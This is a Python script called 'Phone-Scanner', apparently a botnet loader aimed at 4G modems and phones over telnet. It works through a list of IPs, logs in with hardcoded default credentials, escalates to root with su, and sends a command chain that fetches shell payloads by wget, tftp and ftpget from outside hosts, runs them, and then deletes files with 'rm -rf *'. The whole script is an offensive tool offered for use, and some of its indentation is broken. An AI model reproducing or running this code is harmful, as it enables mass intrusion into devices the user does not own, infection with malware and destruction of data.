Phone-Scanner

#!/usr/bin/python

import threading
import sys
import os
import random
import socket
import re
import time
from random import *

os.system('clear')

class color:
   PURPLE = '\033[95m'
   CYAN = '\033[96m'
   DARKCYAN = '\033[36m'
   BLUE = '\033[94m'
   GREEN = '\033[92m'
   YELLOW = '\033[93m'
   RED = '\033[91m'
   BOLD = '\033[1m'
   UNDERLINE = '\033[4m'
   END = '\033[0m'
   HEADER = '\033[95m'
   OKBLUE = '\033[94m'
   OKGREEN = '\033[92m'
   WARNING = '\033[93m'
   FAIL = '\033[91m'


def banner():
    kelinci = color.HEADER+'''
      ***
     ** **
    **   **
    **   **         ****
    **   **       **   ****
    **  **       *   **   **
     **  *      *  **  ***  **
      **  *    *  **     **  *
       ** **  ** **        **
       **   **  **
      *           *
     *             *
    *    0     0    *
    *   /   @   \   *
    *   \__/ \__/   *
      *     W     *
        **     **
          *****
'''

    skull = color.FAIL+'''
                    ..:::::::::..
               ..:::aad8888888baa:::..
            .::::d:?88888888888?::8b::::.
          .:::d8888:?88888888??a888888b:::.
        .:::d8888888a8888888aa8888888888b:::.
       ::::dP::::::::88888888888::::::::Yb::::
      ::::dP:::::::::Y888888888P:::::::::Yb::::
     ::::d8:::::::::::Y8888888P:::::::::::8b::::
    .::::88::::::::::::Y88888P::::::::::::88::::.
    :::::Y8baaaaaaaaaa88P:T:Y88aaaaaaaaaad8P:::::
    :::::::Y88888888888P::|::Y88888888888P:::::::
    ::::::::::::::::888:::|:::888::::::::::::::::
    `:::::::::::::::8888888888888b::::::::::::::'
     :::::::::::::::88888888888888::::::::::::::
      :::::::::::::d88888888888888:::::::::::::
       ::::::::::::88::88::88:::88::::::::::::
        `::::::::::88::88::88:::88::::::::::'
          `::::::::88::88::P::::88::::::::'
            `::::::88::88:::::::88::::::'
               ``:::::::::::::::::::''
                    ``:::::::::''
'''


    awp = color.END+'''
              _________                   _______
    _-----____/   ========================|______|
    |           ______________/
    |    ___--_/(_)       ^
    |___ ---
'''


    tangkurak = color.DARKCYAN+'''
     @@@@@                                        @@@@@
    @@@@@@@                                      @@@@@@@
    @@@@@@@           @@@@@@@@@@@@@@@            @@@@@@@
     @@@@@@@@       @@@@@@@@@@@@@@@@@@@        @@@@@@@@
         @@@@@     @@@@@@@@@@@@@@@@@@@@@     @@@@@
           @@@@@  @@@@@@@@@@@@@@@@@@@@@@@  @@@@@
             @@  @@@@@@@@@@@@@@@@@@@@@@@@@  @@
                @@@@@@@    @@@@@@    @@@@@@
                @@@@@@      @@@@      @@@@@
                @@@@@@      @@@@      @@@@@
                 @@@@@@    @@@@@@    @@@@@
                  @@@@@@@@@@@  @@@@@@@@@@
                   @@@@@@@@@@  @@@@@@@@@
                @@   @@@@@@@@@@@@@@@@@   @@
               @@@@  @@@@ @ @ @ @ @@@@  @@@@
              @@@@@   @@@ @ @ @ @ @@@   @@@@@
            @@@@@      @@@@@@@@@@@@@      @@@@@
          @@@@          @@@@@@@@@@@          @@@@
       @@@@@              @@@@@@@              @@@@@
      @@@@@@@                                 @@@@@@@
       @@@@@                                   @@@@@
'''


    dick = color.YELLOW+'''
              .======.
              | ZEEB |
              |      |
              |      |
     .========'      '========.
     |   _      xxxx      _   |
     |  /_;-.__ / _\  _.-;_\  |
     |     `-._`'`_/'`.-'     |
     '========.`\   /`========'
              | |  / |
              |/-.(  |
              |\_._\ |
              | \ \`;|
              |  > |/|
              | / // |
              | |//  |
              | \(\  |
              |  ``  |
              |      |
              |      |
              |      |
              |      |
  \\ _  _  _\\| \//  |//_   _ \// _
 ^ `^`^ ^`` `^ ^` ``^^`  `^^` `^ `^
'''


    headers = [kelinci, dick, tangkurak, skull, awp]
    print headers[randint(0,4)]



banner()
if len(sys.argv) < 2:
        print color.WARNING+"[ Usage: "+color.RED+"python "+sys.argv[0]+" <list> "+color.WARNING+"]"
        sys.exit()

ips = open(sys.argv[1], "r").readlines()
usernames = ["root", "admin", "root", "root"]
passwords = ["oelinux123", "admin", "Zte521", "vizxv"]
cmd = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://1.1.1.1/SSF.sh; chmod 777 bins.sh; sh SSF.sh; tftp 1.1.1.1 -c get tftp11.sh; chmod 777 tftp11.sh; sh tftp1.sh; tftp -r tftp22.sh -g 1.1.1.1; chmod 777 tftp22.sh; sh tftp22.sh; ftpget -v -u anonymous -p anonymous -P 21 104.131.21.101 ftp11.sh ftp11.sh; sh ftp11.sh; rm -rf SSF.sh tftp11.sh tftp22.sh ftp11.sh; rm -rf *"
count = 0

def readUntil(tn, string, timeout=15):
    buf = ''
    start_time = time.time()
    while time.time() - start_time < timeout:
        buf += tn.recv(1024)
        time.sleep(0.01)
        if string in buf: return buf
    raise Exception('ATTEMPTING')

class hackify(threading.Thread):
        def __init__ (self, ip):
        threading.Thread.__init__(self)
        self.ip = str(ip).rstrip('\n')
        def run(self):
        try:
            tn = socket.socket()
            tn.settimeout(8)
            tn.connect((self.ip,23))
        except Exception:
            tn.close()
        try:
            hoho = ''
            hoho += readUntil(tn, ":")
            if "mdm9625" in hoho: #non-root
                r00t = 0
                username = usernames[1]
                password = passwords[1]
                tn.send(username + "\n")
                print "[%s] sending non-root user"%(self.ip)
            elif "9615-cdp" in hoho: #root
                r00t = 1
                username = usernames[0]
                password = passwords[0]
                tn.send(username + "\n")
                #print "[%s] sending root user"%(self.ip)
        except Exception:
            tn.close()
        try:
            hoho = ''
            hoho += readUntil(tn, "Password:")
            if "assword" in hoho:
                tn.send(password + "\n")
                #if r00t: print "[%s] sending root password"%(self.ip)
                #if not r00t: print "[%s] sending non-root password"%(self.ip)
                time.sleep(3)
        except Exception:
            tn.close()
        try:
            mp = ''
            mp += tn.recv(1024)
            if "#" in mp or "$" in mp:
                if r00t: tn.send(cmd + "\n"); print color.OKGREEN+"Payload runned succesfully %s!"%(self.ip); time.sleep(10); tn.close()
                if not r00t: tn.send("su" + "\n"); readUntil(tn, "Password:"); tn.send(passwords[0] + "\n"); time.sleep(1); tn.send(cmd + "\n"); print color.OKGREEN+"Payload runned succesfully %s!"%(self.ip); time.sleep(10); tn.close()
        except Exception:
            print color.RED+"[%s] ATTEMPTING 4G PHONE"%(count)
            tn.close()

print "Total IPs: %s\n"%(len(ips))
for ip in ips:
        try:
        count += 1
        t = hackify(ip)
        t.start()
        time.sleep(0.01)
        except:
            pass